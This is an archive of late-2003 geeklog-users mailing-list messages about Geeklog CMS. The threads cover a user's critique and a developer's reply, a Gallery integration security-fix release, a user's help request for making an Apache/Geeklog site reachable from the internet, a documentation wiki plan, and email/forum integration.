When I "chose" to use geeklog it was less a real choice as much more the
amazement about the existence of Content-Management-Systems in general.
Geeklog just happened to be the first I found.
Now - after some month I started to think about changing - basically
because:
-the mailing list is very dead - where do you guys exchange thoughts?
-the designers (program design) of geeklog only seem to be happy when they
can separate the whole thing in as many files as possible. That results in
very high webspace consumption (maybe I am wrong about this - but windows
says: size: small value; used space: very high value ... Is that different
on Linux?). I don't have unlimited space ... *
-I tried to find out how to write a plug-in for geeklog and gave up. I tried
to find out to write one for phpnuke and was really about to change ... In
geeklog you need to spend so much more time - it's unbelievable. In phpnuke
you have your "hello world" plug-in in 5 mins. Also the way a plug-in has to
be installed is somehow complicated. (put this here and that there and then
write this here and ...)
-the layouts are split in so many files which can all be configured
separately but I think in 99% of all cases are not touched at all and so
just waste space. (I changed my geeklog so that lots of folders are used
together) I know the forum is note really geeklog itself but that's worst.
Why was it not set up in the way (like I use it now) that there is only 1
set of layout which every site-layout uses?
For geeklog in general: why not make a standard layout which can be
overloaded by custom layouts. So every new layout only needs to add the
stuff which is non-standard.
-gmail is not finished yet ...
-I miss Multilanguage - though I would not be content with the way others do
it: I should be able to say which languages I know and which one I prefer.
Writing articles should be possible in Multilanguage so that the user gets
preferred language (if it exists) and understandable articles (not just 1
language). Others give you only your set language. 
-BTW: how come geeklog does not check the browser language? (I know of the
issue with the Chinese "English" [??] button which is not understood by
most English speakers - but that could be solved ...)
--> change your preferred language to Chinese and check www.msn.com :-) it's
worse than ?? ???

The things that brought me back to geeklog:
-when _I_ start phpnuke it works but only with lots of warnings. So I need
to add a "error_reporting(E_ERROR);" manually but people should not like
that ...
-security of geeklog is obviously the best of all CMSes
-the groups-implementation of geeklog is just outstanding
-the layouts for geeklog are somehow more different from each other than in
other CMSes
-gmail will hopefully soon fill the gap as webmailer in geeklog
-the phpnuke way of publishing things 1 month earlier for registered
(paying) users is not nice ... (just too much hassle to look for this
Italian page which is stupid enough to offer it earlier :-)) 
-is it really so special to post pictures in news? Or did I just fail to do
it in other CMSes?
-is it true that I may change the footer in geeklog (not like in other
CMSes) so that people need to ask which CMS it is (I think people who are
interested will ask - others don't care)?

So - finally I guess I will stick to geeklog

Regards
Daniel

* after some hacking I managed to have geeklog on win with
forum/chatterblock, 7 layouts, 5 languages with around 8,5 MB which is
acceptable ...



From dirk at haun-online.de  Sun Dec 28 16:18:41 2003
From: dirk at haun-online.de (Dirk Haun)
Date: Sun, 28 Dec 2003 22:18:41 +0100
Subject: [geeklog-users] What I like/don't like about geeklog
In-Reply-To: <bskfje.574.1@daniu.de>
References: <bskfje.574.1@daniu.de>
Message-ID: <20031228211841.22076@smtp.haun-online.de>

Daniel,

first of all: I saw that you submitted this as a story on geeklog.net
(why not in the Feedback forum?), but the formatting of that post is a
mess, so I prefer to respond here ...

>-the mailing list is very dead - where do you guys exchange thoughts?

Which mailing list (we have several)? Which "guys" are you talking about
(users or developers)?

Most of the user feedback these days happens in the forums on
geeklog.net. The developers use the (closed) geeklog-devel mailing list
(of which a digest is posted to geeklog-devtalk) and IRC, mostly.

Also keep in mind the time of the year and the fact that most of the
developers are busy with family or business matters. Yes, it is sort of a
slow phase currently and I would have preferred to have Geeklog 1.3.9 out
months ago, but such is life ...


>-the designers (program design) of geeklog only seem to be happy when they
>can separate the whole thing in as many files as possible.

In a word, that's nonsense. The Geeklog code is separated into logical
units of managable size. I don't think we have that many files there.

You may be thinking about the themes, but even there it does make sense.
Please keep in mind that Geeklog ships with 7 default themes. Usually,
you will use only one theme on a site, which brings down the number of
files drastically.


>-I tried to find out how to write a plug-in for geeklog and gave up. I tried
>to find out to write one for phpnuke and was really about to change ... In
>geeklog you need to spend so much more time - it's unbelievable.

So what did you try? Did you see the Plugin Developers Guide? Do you
realise that you don't need to implement all of the functions? A very
minimal plugin can be written in a couple of minutes, depending on what
you want to achieve.

Check out the "MacIG" plugin available from geeklog.net's download area.
It only implements 4 functions of the plugin API to achieve one specific
goal (extending the user's profile). Of course, a plugin such as the
forum will make use of a lot more of the plugin API functions ...


>-gmail is not finished yet ...

What's gmail? Isn't that a plugin? And why is that a problem?


>-I miss Multilanguage - though I would not be content with the way others do
>it: I should be able to say which languages I know and which one I prefer.
>Writing articles should be possible in Multilanguage so that the user gets
>preferred language (if it exists) and understandable articles (not just 1
>language). Others give you only your set language. 

We await your code contribution then ...

Seriously, this is an open source project. Some things have "always been
that way" - design decisions have been made at one point and then never
questioned again. And some things just aren't that easy to change and/or
not high on the list.

If you don't like how certain things work, suggest alternatives, discuss
them (on one of the mailing lists or in the forums, for example), submit
feature requests or, preferrably, patches (and keep an eye on CVS). The
infrastructure for all this is there - use it.


>-is it true that I may change the footer in geeklog (not like in other
>CMSes) so that people need to ask which CMS it is (I think people who are
>interested will ask - others don't care)?

Yes, you can remove the "Powered by Geeklog" logo / link, if you like. It
would be nice if you could provide a link back, though, but it doesn't
need to be on every page (since you're German: An "Impressum" page would
be a good place for a link back to geeklog.net).

bye, Dirk


-- 
http://www.haun-online.de/
http://geeklog.info/



From vmf at abtech.org  Sun Dec 28 22:53:19 2003
From: vmf at abtech.org (Vincent Furia)
Date: Sun, 28 Dec 2003 22:53:19 -0500
Subject: [geeklog-users] Geeklog Gallery Integration Release
Message-ID: <3FEFA52F.1070608@abtech.org>

A new release which eliminates the previously discovered security 
vulnerbilities and updates the gallery version to 1.4.1.  The file to 
download is gallery_1.4.1_1.3.8.tar.gz.  The url to download from:

http://sourceforge.net/project/showfiles.php?group_id=68255&package_id=69388&release_id=206395

-Vinny



From OOgunney at adventisthealthcare.com  Mon Dec 29 08:21:50 2003
From: OOgunney at adventisthealthcare.com (Ola Ogunneye)
Date: Mon, 29 Dec 2003 08:21:50 -0500
Subject: [geeklog-users] Geeklog Gallery Integration Release
Message-ID: <sfefe437.070@GWGATE1.ahm.com>

Sorry to sound stupid, but can I delete the previous one that I had
installed and then install this new one or would editing the parameters
posted in the forum be good enough.

I am still having problem getting my site to the internet, so I am
wondering if deleting the previous version would be better for me.

Thanks

>>> vmf at abtech.org 12/28/03 10:53PM >>>
A new release which eliminates the previously discovered security 
vulnerbilities and updates the gallery version to 1.4.1.  The file to 
download is gallery_1.4.1_1.3.8.tar.gz.  The url to download from:

http://sourceforge.net/project/showfiles.php?group_id=68255&package_id=69388&release_id=206395


-Vinny

_______________________________________________
geeklog-users mailing list
geeklog-users at lists.geeklog.net 
http://lists.geeklog.net/listinfo/geeklog-users


From OOgunney at adventisthealthcare.com  Mon Dec 29 09:17:40 2003
From: OOgunney at adventisthealthcare.com (Ola Ogunneye)
Date: Mon, 29 Dec 2003 09:17:40 -0500
Subject: [geeklog-users] Is there any hope for my site?
Message-ID: <sfeff14c.003@GWGATE1.ahm.com>

Hello guys,

I have been posting in the forum, and I cannot seem to resolve my
problem. My site is ready locally. When I browse my site on the
webserver, I get the desired result. However, when I browse it from the
internet, It does not work.

The following are pertinent information for my system

Router -WAN IP 216.49.74.183  LAN IP 192.168.1.1
Server LAN IP 192.168.1.22
Sever DNS entry 192.168.1.22 - Microsoft recommended


Windows 2000 Advanced Server with Active Directory and Local DNS
Apache 2.0.47
PHP 4.3.2
Mysql 4.0.13
Geeklog 1.3.8
Gallery 1.4

My docroot is d:/apache/apache2/htdocs/feyiola_public

When I had my $_CONF['site url'] as http:'localhost' it works perfectly
well on my webserver but it cannot be viewed on the internet, it shows
broken links. When I change the localhost entry to www.feyiola.com, then
locally I get the broken links.

I have attached my httpd.conf and the config.php for you to look at.

As at now, the localhost is the entry in the site url. so if you go to
the site, you will get the site with broken links.

Am I supposed to share any of my directories to make my site work?

Please I am desperate. It is not working and I think it has something
to do with my config.php file.

Ola


From tony at tonybibbs.com  Mon Dec 29 10:15:14 2003
From: tony at tonybibbs.com (Tony Bibbs)
Date: Mon, 29 Dec 2003 09:15:14 -0600
Subject: [geeklog-users] Is there any hope for my site?
In-Reply-To: <sfeff14c.003@GWGATE1.ahm.com>
References: <sfeff14c.003@GWGATE1.ahm.com>
Message-ID: <3FF04502.3010008@tonybibbs.com>

This is clearly not a Geeklog issue.  That being said, don't hope for 
too much feedback.  Odds are you have one or more problems:
1) bad DNS setup (when you ping feyiola.com from a remote box do you get 
the right IP?).
2) Bad router configuration.  Are you sure traffic that should get to 
192.168.1.22 is getting route right from your router?
3) bad Apache configuration...if you can ping fine, it is possible that 
Apache isn't configured right.  Look in the Apache error logs for the 
error you get when you navigate to http://www.feyiola.com

Sounds like you'll need to get someone familiar with networking to help 
troubleshoot this one for you.

--Tony

Ola Ogunneye wrote:
> Hello guys,
> 
> I have been posting in the forum, and I cannot seem to resolve my
> problem. My site is ready locally. When I browse my site on the
> webserver, I get the desired result. However, when I browse it from the
> internet, It does not work.
> 
> The following are pertinent information for my system
> 
> Router -WAN IP 216.49.74.183  LAN IP 192.168.1.1
> Server LAN IP 192.168.1.22
> Sever DNS entry 192.168.1.22 - Microsoft recommended
> 
> 
> Windows 2000 Advanced Server with Active Directory and Local DNS
> Apache 2.0.47
> PHP 4.3.2
> Mysql 4.0.13
> Geeklog 1.3.8
> Gallery 1.4
> 
> My docroot is d:/apache/apache2/htdocs/feyiola_public
> 
> When I had my $_CONF['site url'] as http:'localhost' it works perfectly
> well on my webserver but it cannot be viewed on the internet, it shows
> broken links. When I change the localhost entry to www.feyiola.com, then
> locally I get the broken links.
> 
> I have attached my httpd.conf and the config.php for you to look at.
> 
> As at now, the localhost is the entry in the site url. so if you go to
> the site, you will get the site with broken links.
> 
> Am I supposed to share any of my directories to make my site work?
> 
> Please I am desperate. It is not working and I think it has something
> to do with my config.php file.
> 
> Ola
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users



From vmf at abtech.org  Mon Dec 29 10:15:32 2003
From: vmf at abtech.org (Vincent Furia)
Date: Mon, 29 Dec 2003 10:15:32 -0500
Subject: [geeklog-users] Geeklog Gallery Integration Release
In-Reply-To: <sfefe437.070@GWGATE1.ahm.com>
References: <sfefe437.070@GWGATE1.ahm.com>
Message-ID: <3FF04514.9000002@abtech.org>

Either method will work, though I'd recommend just deleting the first 
installation and using the new release.  If you have any albums, you 
won't lose them in such an upgrade.

-Vinny

Ola Ogunneye wrote:

>Sorry to sound stupid, but can I delete the previous one that I had
>installed and then install this new one or would editing the parameters
>posted in the forum be good enough.
>
>I am still having problem getting my site to the internet, so I am
>wondering if deleting the previous version would be better for me.
>
>Thanks
>
>  
>
>>>>vmf at abtech.org 12/28/03 10:53PM >>>
>>>>        
>>>>
>A new release which eliminates the previously discovered security 
>vulnerbilities and updates the gallery version to 1.4.1.  The file to 
>download is gallery_1.4.1_1.3.8.tar.gz.  The url to download from:
>
>http://sourceforge.net/project/showfiles.php?group_id=68255&package_id=69388&release_id=206395
>
>
>-Vinny
>
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net 
>http://lists.geeklog.net/listinfo/geeklog-users
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net
>http://lists.geeklog.net/listinfo/geeklog-users
>
>  
>




From vmf at abtech.org  Mon Dec 29 10:18:17 2003
From: vmf at abtech.org (Vincent Furia)
Date: Mon, 29 Dec 2003 10:18:17 -0500
Subject: [geeklog-users] Is there any hope for my site?
In-Reply-To: <sfeff14c.003@GWGATE1.ahm.com>
References: <sfeff14c.003@GWGATE1.ahm.com>
Message-ID: <3FF045B9.6060708@abtech.org>

Try changing your $_CONF['site_url'] variable to equal 
"http://216.49.74.183/".  It looks like your using domain name 
forwarding of some type to forward connections from 
http://www.feyiola.com/ to http://216.49.74.183/.

Good Luck,
Vinny

Ola Ogunneye wrote:

>Hello guys,
>
>I have been posting in the forum, and I cannot seem to resolve my
>problem. My site is ready locally. When I browse my site on the
>webserver, I get the desired result. However, when I browse it from the
>internet, It does not work.
>
>The following are pertinent information for my system
>
>Router -WAN IP 216.49.74.183  LAN IP 192.168.1.1
>Server LAN IP 192.168.1.22
>Sever DNS entry 192.168.1.22 - Microsoft recommended
>
>
>Windows 2000 Advanced Server with Active Directory and Local DNS
>Apache 2.0.47
>PHP 4.3.2
>Mysql 4.0.13
>Geeklog 1.3.8
>Gallery 1.4
>
>My docroot is d:/apache/apache2/htdocs/feyiola_public
>
>When I had my $_CONF['site url'] as http:'localhost' it works perfectly
>well on my webserver but it cannot be viewed on the internet, it shows
>broken links. When I change the localhost entry to www.feyiola.com, then
>locally I get the broken links.
>
>I have attached my httpd.conf and the config.php for you to look at.
>
>As at now, the localhost is the entry in the site url. so if you go to
>the site, you will get the site with broken links.
>
>Am I supposed to share any of my directories to make my site work?
>
>Please I am desperate. It is not working and I think it has something
>to do with my config.php file.
>
>Ola
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net
>http://lists.geeklog.net/listinfo/geeklog-users
>
>  
>




From geeklog at sebastiancelis.com  Mon Dec 29 10:19:52 2003
From: geeklog at sebastiancelis.com (Sebastian Celis)
Date: Mon, 29 Dec 2003 09:19:52 -0600
Subject: [geeklog-users] Geeklog Documentation Effort
In-Reply-To: <sfeff14c.003@GWGATE1.ahm.com>
References: <sfeff14c.003@GWGATE1.ahm.com>
Message-ID: <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com>

Hey everyone,

Well, Dirk suggested we move this topic off of the forum and into the 
mailing list, so here we go.

emagin, an anonymous user suggested MoinMoin (http://moin.sf.net/) for 
our wiki purposes as it has image upload capabilities.  I've briefly 
looked it over and it looks pretty nice.  Have you had the chance to 
check it out?

Once we get this wiki in place, we can take off with the doc writing.  
Shall we try for a goal of getting the wiki setup and running by the 
beginning of January?

- Sebastian (aka Turias)



From nylug at q5comm.com  Mon Dec 29 10:42:53 2003
From: nylug at q5comm.com (Ed Weinberg)
Date: Mon, 29 Dec 2003 10:42:53 -0500
Subject: [geeklog-users] email/forum integration
Message-ID: <1072712573.1256.5.camel@ed.q>

Is there a module which integrates email with forums?  What I would like
is posts to forum "a" be sent to subscribers of list "a" and posts to
list "a" be added to forum "a".

Does this exist?
-- 
Ed Weinberg <nylug at q5comm.com>



From tony at tonybibbs.com  Mon Dec 29 11:38:00 2003
From: tony at tonybibbs.com (Tony Bibbs)
Date: Mon, 29 Dec 2003 10:38:00 -0600
Subject: [geeklog-users] Geeklog Documentation Effort
In-Reply-To: <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com>
References: <sfeff14c.003@GWGATE1.ahm.com> <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com>
Message-ID: <3FF05868.4050002@tonybibbs.com>

Sounds good to me.  I'm not a big fan of wiki's...that's not to say I 
won't use it I just haven't like many of the interfaces.  Let us know 
where the home for the wiki will reside in the end...

--Tony

Sebastian Celis wrote:
> Hey everyone,
> 
> Well, Dirk suggested we move this topic off of the forum and into the 
> mailing list, so here we go.
> 
> emagin, an anonymous user suggested MoinMoin (http://moin.sf.net/) for 
> our wiki purposes as it has image upload capabilities.  I've briefly 
> looked it over and it looks pretty nice.  Have you had the chance to 
> check it out?
> 
> Once we get this wiki in place, we can take off with the doc writing.  
> Shall we try for a goal of getting the wiki setup and running by the 
> beginning of January?
> 
> - Sebastian (aka Turias)
> 
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users



From tony at tonybibbs.com  Mon Dec 29 11:41:29 2003
From: tony at tonybibbs.com (Tony Bibbs)
Date: Mon, 29 Dec 2003 10:41:29 -0600
Subject: [geeklog-users] email/forum integration
In-Reply-To: <1072712573.1256.5.camel@ed.q>
References: <1072712573.1256.5.camel@ed.q>
Message-ID: <3FF05939.5020308@tonybibbs.com>

No, this doesn't exist.  We have had requests to go the other direction 
(i.e. posts to mailing lists showing up in a forum).    There is a 
function, COM_email, that make sending emails from Geeklog (and plugins) 
easy.  If you are capable of modifying the code to use it and provide 
the administrative interface that allows admins to tie a forum to a 
mailing list then I'm sure Blaine would consider adding it into the 
codebase.  If not, got o Blaine's site and leave a feature request.

--Tony

Ed Weinberg wrote:
> Is there a module which integrates email with forums?  What I would like
> is posts to forum "a" be sent to subscribers of list "a" and posts to
> list "a" be added to forum "a".
> 
> Does this exist?



From geeklog at sebastiancelis.com  Mon Dec 29 12:16:06 2003
From: geeklog at sebastiancelis.com (Sebastian Celis)
Date: Mon, 29 Dec 2003 11:16:06 -0600
Subject: [geeklog-users] Geeklog Documentation Effort
In-Reply-To: <3FF05868.4050002@tonybibbs.com>
References: <sfeff14c.003@GWGATE1.ahm.com> <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com> <3FF05868.4050002@tonybibbs.com>
Message-ID: <B060E3A6-3A22-11D8-A6EF-0050E4D9061F@sebastiancelis.com>

I agree that wikis don't have an ideal interface.  Unfortunately, 
though, I don't think that there is a better option for what we are 
trying to do.  Doing everything through CVS would probably work really 
nicely, but that would probably discourage a large number of users from 
contributing to the documentation.  Now, that might be a good thing or 
a bad thing, depending on how you look at it...  but currently I am 
leaning toward a Wiki being the best way to get the collaborative 
documentation effort up and running.

- Sebastian


On Dec 29, 2003, at 10:38 AM, Tony Bibbs wrote:

> Sounds good to me.  I'm not a big fan of wiki's...that's not to say I 
> won't use it I just haven't like many of the interfaces.  Let us know 
> where the home for the wiki will reside in the end...
>
> --Tony



From tony at tonybibbs.com  Mon Dec 29 12:22:09 2003
From: tony at tonybibbs.com (Tony Bibbs)
Date: Mon, 29 Dec 2003 11:22:09 -0600
Subject: [geeklog-users] Geeklog Documentation Effort
In-Reply-To: <B060E3A6-3A22-11D8-A6EF-0050E4D9061F@sebastiancelis.com>
References: <sfeff14c.003@GWGATE1.ahm.com> <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com> <3FF05868.4050002@tonybibbs.com> <B060E3A6-3A22-11D8-A6EF-0050E4D9061F@sebastiancelis.com>
Message-ID: <3FF062C1.7080403@tonybibbs.com>

Regardless, you should use CVS.  When you get version 1 of the docs done 
I would CVS and tag it.  That way all current work is in the wiki where 
it can change daily but CVS only holds 'polished' versions of it.

Just a thought, oh, and of course we would make the Geeklog CVS 
repository available to you all should you want/need it.

--Tony

Sebastian Celis wrote:
> I agree that wikis don't have an ideal interface.  Unfortunately, 
> though, I don't think that there is a better option for what we are 
> trying to do.  Doing everything through CVS would probably work really 
> nicely, but that would probably discourage a large number of users from 
> contributing to the documentation.  Now, that might be a good thing or a 
> bad thing, depending on how you look at it...  but currently I am 
> leaning toward a Wiki being the best way to get the collaborative 
> documentation effort up and running.
> 
> - Sebastian
> 
> 
> On Dec 29, 2003, at 10:38 AM, Tony Bibbs wrote:
> 
>> Sounds good to me.  I'm not a big fan of wiki's...that's not to say I 
>> won't use it I just haven't like many of the interfaces.  Let us know 
>> where the home for the wiki will reside in the end...
>>
>> --Tony
> 
> 
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users



From dirk at haun-online.de  Mon Dec 29 12:22:18 2003
From: dirk at haun-online.de (Dirk Haun)
Date: Mon, 29 Dec 2003 18:22:18 +0100
Subject: [geeklog-users] email/forum integration
In-Reply-To: <3FF05939.5020308@tonybibbs.com>
References: <3FF05939.5020308@tonybibbs.com>
Message-ID: <20031229172218.14908@smtp.haun-online.de>

Tony wrote:

>There is a 
>function, COM_email, that make sending emails from Geeklog (and plugins) 
>easy.

Actually, the function's name is COM_mail and it only exists in the CVS
version at the moment (i.e. it will be available in Geeklog 1.3.9).

Geeklog 1.3.8 (and earlier) use PHP's mail() function directly.

bye, Dirk


-- 
http://www.haun-online.de/
http://www.haun.info/



From tony at tonybibbs.com  Mon Dec 29 12:56:38 2003
From: tony at tonybibbs.com (Tony Bibbs)
Date: Mon, 29 Dec 2003 11:56:38 -0600
Subject: [geeklog-users] email/forum integration / 1.3.9
In-Reply-To: <20031229172218.14908@smtp.haun-online.de>
References: <3FF05939.5020308@tonybibbs.com> <20031229172218.14908@smtp.haun-online.de>
Message-ID: <3FF06AD6.5050105@tonybibbs.com>

Thanks for the clarification.

What's left on your 1.3.9 to-do list?

--Tony

Dirk Haun wrote:
> Tony wrote:
> 
> 
>>There is a 
>>function, COM_email, that make sending emails from Geeklog (and plugins) 
>>easy.
> 
> 
> Actually, the function's name is COM_mail and it only exists in the CVS
> version at the moment (i.e. it will be available in Geeklog 1.3.9).
> 
> Geeklog 1.3.8 (and earlier) use PHP's mail() function directly.
> 
> bye, Dirk
> 
> 



From woklist at charter.net  Mon Dec 29 15:34:15 2003
From: woklist at charter.net (William K)
Date: Mon, 29 Dec 2003 14:34:15 -0600
Subject: [geeklog-users] story sorting messed up
Message-ID: <5E3AADC2-3A3E-11D8-B68F-000A95DB713E@charter.net>

I just transferred our geeklog site to a new computer, and the story 
sorting is now random.  Same GL version (1.3.8sr4), config settings all 
the same.  But the new system has MySQL 4.0 (previous 3.23.51).  I used 
a sql dump from the old and imported that into the new mysql before 
running geeklog.

Does GL have any problems with MySQL 4, or is there some GL setting or 
conversion or update I missed?

-----
William Kyngesburye <kyngchaos at charter.net>
http://webpages.charter.net/kyngchaos/

First Pogril: Why is life like sticking your head in a bucket filled 
with hyena offal?
Second Pogril: I don't know.  Why IS life like sticking your head in a 
bucket filled with hyena offal?
First Pogril: I don't know either.  Wretched, isn't it?

-HitchHiker's Guide to the Galaxy



From OOgunney at adventisthealthcare.com  Mon Dec 29 10:53:43 2003
From: OOgunney at adventisthealthcare.com (Ola Ogunneye)
Date: Mon, 29 Dec 2003 10:53:43 -0500
Subject: [geeklog-users] Is there any hope for my site?
Message-ID: <sff007e3.007@GWGATE1.ahm.com>

You are right, I have my domain name registered with hostway and was
given another IP address even though I have my own IP address, I paid
$6.95/year for Domain name and they are not cooperating with me to
resolve my domain name to my IP address. So I am waiting for the 60 days
(required) to transfer to another registrar. It is because of that, that
I forwarded the domain to my IP address on the hostway site. In the next
9 days, I should be able to resolve my domain name to its proper IP. 

I have been advised to do exactly what you said in the forum. When I
change from localhost to IP address, what I get locally is what you saw
on my site. All the broken links with no Pictures, and that is why I
keep thinking that the problem is with Config.php.

I just recently moved the geeklog directory into my htdocs and that is
why you see the site like that. Prior to that, the geeklog directory was
outside htdocs, and if you had gone to http://216.49.74.183, you would
have seen the Apache default page. which tells me that Apache was
successfully installed.

While we are on the subject, I should point out that I am the only user
that I created in mysql. Could this be the problem? Must there be other
users in mysql in order for the system to work?

Thanks in advance

Ola

>>> vmf at abtech.org 12/29/03 10:18AM >>>
Try changing your $_CONF['site_url'] variable to equal 
"http://216.49.74.183/".  It looks like your using domain name 
forwarding of some type to forward connections from 
http://www.feyiola.com/ to http://216.49.74.183/.

Good Luck,
Vinny

Ola Ogunneye wrote:

>Hello guys,
>
>I have been posting in the forum, and I cannot seem to resolve my
>problem. My site is ready locally. When I browse my site on the
>webserver, I get the desired result. However, when I browse it from
the
>internet, It does not work.
>
>The following are pertinent information for my system
>
>Router -WAN IP 216.49.74.183  LAN IP 192.168.1.1
>Server LAN IP 192.168.1.22
>Sever DNS entry 192.168.1.22 - Microsoft recommended
>
>
>Windows 2000 Advanced Server with Active Directory and Local DNS
>Apache 2.0.47
>PHP 4.3.2
>Mysql 4.0.13
>Geeklog 1.3.8
>Gallery 1.4
>
>My docroot is d:/apache/apache2/htdocs/feyiola_public
>
>When I had my $_CONF['site url'] as http:'localhost' it works
perfectly
>well on my webserver but it cannot be viewed on the internet, it
shows
>broken links. When I change the localhost entry to www.feyiola.com,
then
>locally I get the broken links.
>
>I have attached my httpd.conf and the config.php for you to look at.
>
>As at now, the localhost is the entry in the site url. so if you go
to
>the site, you will get the site with broken links.
>
>Am I supposed to share any of my directories to make my site work?
>
>Please I am desperate. It is not working and I think it has something
>to do with my config.php file.
>
>Ola
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net 
>http://lists.geeklog.net/listinfo/geeklog-users 
>
>  
>


_______________________________________________
geeklog-users mailing list
geeklog-users at lists.geeklog.net 
http://lists.geeklog.net/listinfo/geeklog-users


From admin at tesn.net  Mon Dec 29 18:54:53 2003
From: admin at tesn.net (admin)
Date: Mon, 29 Dec 2003 17:54:53 -0600
Subject: [geeklog-users] Is there any hope for my site?
In-Reply-To: <sff007e3.007@GWGATE1.ahm.com>
References: <sff007e3.007@GWGATE1.ahm.com>
Message-ID: <6.0.0.22.0.20031229174905.01b25f38@mail.tesn.net>

you might try changing
$_CONF['site url']           = 'http:'localhost' ;
to
$_CONF['site url']            = 'http://216.49.74.183';
or if you want it to display your
$_CONF['site_url']          = 'http://www.feyiola.com';

I am not an expert but I think this will work.


-john
http://jdaw.net
http://tdow.net
http://slpff.org
http://tesn.net



At 09:53 AM 12/29/2003, you wrote:
>You are right, I have my domain name registered with hostway and was
>given another IP address even though I have my own IP address, I paid
>$6.95/year for Domain name and they are not cooperating with me to
>resolve my domain name to my IP address. So I am waiting for the 60 days
>(required) to transfer to another registrar. It is because of that, that
>I forwarded the domain to my IP address on the hostway site. In the next
>9 days, I should be able to resolve my domain name to its proper IP.
>
>I have been advised to do exactly what you said in the forum. When I
>change from localhost to IP address, what I get locally is what you saw
>on my site. All the broken links with no Pictures, and that is why I
>keep thinking that the problem is with Config.php.
>
>I just recently moved the geeklog directory into my htdocs and that is
>why you see the site like that. Prior to that, the geeklog directory was
>outside htdocs, and if you had gone to http://216.49.74.183, you would
>have seen the Apache default page. which tells me that Apache was
>successfully installed.
>
>While we are on the subject, I should point out that I am the only user
>that I created in mysql. Could this be the problem? Must there be other
>users in mysql in order for the system to work?
>
>Thanks in advance
>
>Ola
>
> >>> vmf at abtech.org 12/29/03 10:18AM >>>
>Try changing your $_CONF['site_url'] variable to equal
>"http://216.49.74.183/".  It looks like your using domain name
>forwarding of some type to forward connections from
>/ to http://216.49.74.183/.
>
>Good Luck,
>Vinny
>
>Ola Ogunneye wrote:
>
> >Hello guys,
> >
> >I have been posting in the forum, and I cannot seem to resolve my
> >problem. My site is ready locally. When I browse my site on the
> >webserver, I get the desired result. However, when I browse it from
>the
> >internet, It does not work.
> >
> >The following are pertinent information for my system
> >
> >Router -WAN IP 216.49.74.183  LAN IP 192.168.1.1
> >Server LAN IP 192.168.1.22
> >Sever DNS entry 192.168.1.22 - Microsoft recommended
> >
> >
> >Windows 2000 Advanced Server with Active Directory and Local DNS
> >Apache 2.0.47
> >PHP 4.3.2
> >Mysql 4.0.13
> >Geeklog 1.3.8
> >Gallery 1.4
> >
> >My docroot is d:/apache/apache2/htdocs/feyiola_public
> >
> >When I had my $_CONF['site url'] as http:'localhost' it works
>perfectly
> >well on my webserver but it cannot be viewed on the internet, it
>shows
> >broken links. When I change the localhost entry to www.feyiola.com,
>then
> >locally I get the broken links.
> >
> >I have attached my httpd.conf and the config.php for you to look at.
> >
> >As at now, the localhost is the entry in the site url. so if you go
>to
> >the site, you will get the site with broken links.
> >
> >Am I supposed to share any of my directories to make my site work?
> >
> >Please I am desperate. It is not working and I think it has something
> >to do with my config.php file.
> >
> >Ola
> >_______________________________________________
> >geeklog-users mailing list
> >geeklog-users at lists.geeklog.net
> >http://lists.geeklog.net/listinfo/geeklog-users
> >
> >
> >
>
>
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net
>http://lists.geeklog.net/listinfo/geeklog-users
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net
>http://lists.geeklog.net/listinfo/geeklog-users




From admin at tesn.net  Mon Dec 29 19:04:45 2003
From: admin at tesn.net (admin)
Date: Mon, 29 Dec 2003 18:04:45 -0600
Subject: [geeklog-users] Is there any hope for my site?
In-Reply-To: <sff007e3.007@GWGATE1.ahm.com>
References: <sff007e3.007@GWGATE1.ahm.com>
Message-ID: <6.0.0.22.0.20031229175854.01afd7c8@mail.tesn.net>

Ok So I didn't read your post all the way...I just viewed your site and 
then started suggesting ...
You will still need to change what has been suggested by me and Vinne but 
you need to check your path in your config file which is what you had 
suggested what you think is wrong.

Check to make sure these are correct:
// $_CONF['path_html']      = '/path/to/your/public_html/';   or in your 
case // $_CONF['path_html']      = '/path/to/your/htdocs/';
Mine looks something like this:
$_CONF['path_html']       = '/home/ksb/www/htdocs/'

Again I am no expert...just trying to help.

-john
http://jdaw.net
http://tdow.net
http://slpff.org
http://tesn.net



At 09:53 AM 12/29/2003, you wrote:
>You are right, I have my domain name registered with hostway and was
>given another IP address even though I have my own IP address, I paid
>$6.95/year for Domain name and they are not cooperating with me to
>resolve my domain name to my IP address. So I am waiting for the 60 days
>(required) to transfer to another registrar. It is because of that, that
>I forwarded the domain to my IP address on the hostway site. In the next
>9 days, I should be able to resolve my domain name to its proper IP.
>
>I have been advised to do exactly what you said in the forum. When I
>change from localhost to IP address, what I get locally is what you saw
>on my site. All the broken links with no Pictures, and that is why I
>keep thinking that the problem is with Config.php.
>
>I just recently moved the geeklog directory into my htdocs and that is
>why you see the site like that. Prior to that, the geeklog directory was
>outside htdocs, and if you had gone to http://216.49.74.183, you would
>have seen the Apache default page. which tells me that Apache was
>successfully installed.
>
>While we are on the subject, I should point out that I am the only user
>that I created in mysql. Could this be the problem? Must there be other
>users in mysql in order for the system to work?
>
>Thanks in advance
>
>Ola
>
> >>> vmf at abtech.org 12/29/03 10:18AM >>>
>Try changing your $_CONF['site_url'] variable to equal
>"http://216.49.74.183/".  It looks like your using domain name
>forwarding of some type to forward connections from
>http://www.feyiola.com/ to http://216.49.74.183/.
>
>Good Luck,
>Vinny
>
>Ola Ogunneye wrote:
>
> >Hello guys,
> >
> >I have been posting in the forum, and I cannot seem to resolve my
> >problem. My site is ready locally. When I browse my site on the
> >webserver, I get the desired result. However, when I browse it from
>the
> >internet, It does not work.
> >
